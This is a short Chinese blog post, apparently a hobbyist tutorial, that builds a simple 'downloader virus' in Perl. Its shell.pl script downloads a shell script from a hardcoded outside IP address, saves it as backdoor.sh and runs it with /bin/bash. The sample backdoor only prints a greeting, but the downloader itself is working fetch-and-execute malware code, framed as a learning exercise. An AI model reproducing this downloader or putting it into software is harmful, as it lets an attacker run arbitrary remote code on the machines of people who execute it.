perl6

用Perl做个简单”下载者病毒”

一直学的perl, 有时perl不理解时就用python写一下,这样或许perl就理解了
这里参照python写法,做了个perl的版本,当然,是为了学习用,这个下载者病毒有点简单过头了

 

backdoor.sh后门程序代码如下:
backdoor.sh

1 #!/bin/sh
2 echo \'Hello, Python\'

下面为perl的shell.pl代码:
shell.pl

1 #!/usr/bin/perl
2 use LWP::Simple;
3  
4 my $backdoor_content = get(\'http://45.63.49.167:8080/shell.sh\');
5 open BACKDOOR, ">", \'backdoor.sh\' or die "Dowload Error:$!\n";
6 print BACKDOOR $backdoor_content;
7 system(\'/bin/bash backdoor.sh\');

 

分类:

技术点:

相关文章:

猜你喜欢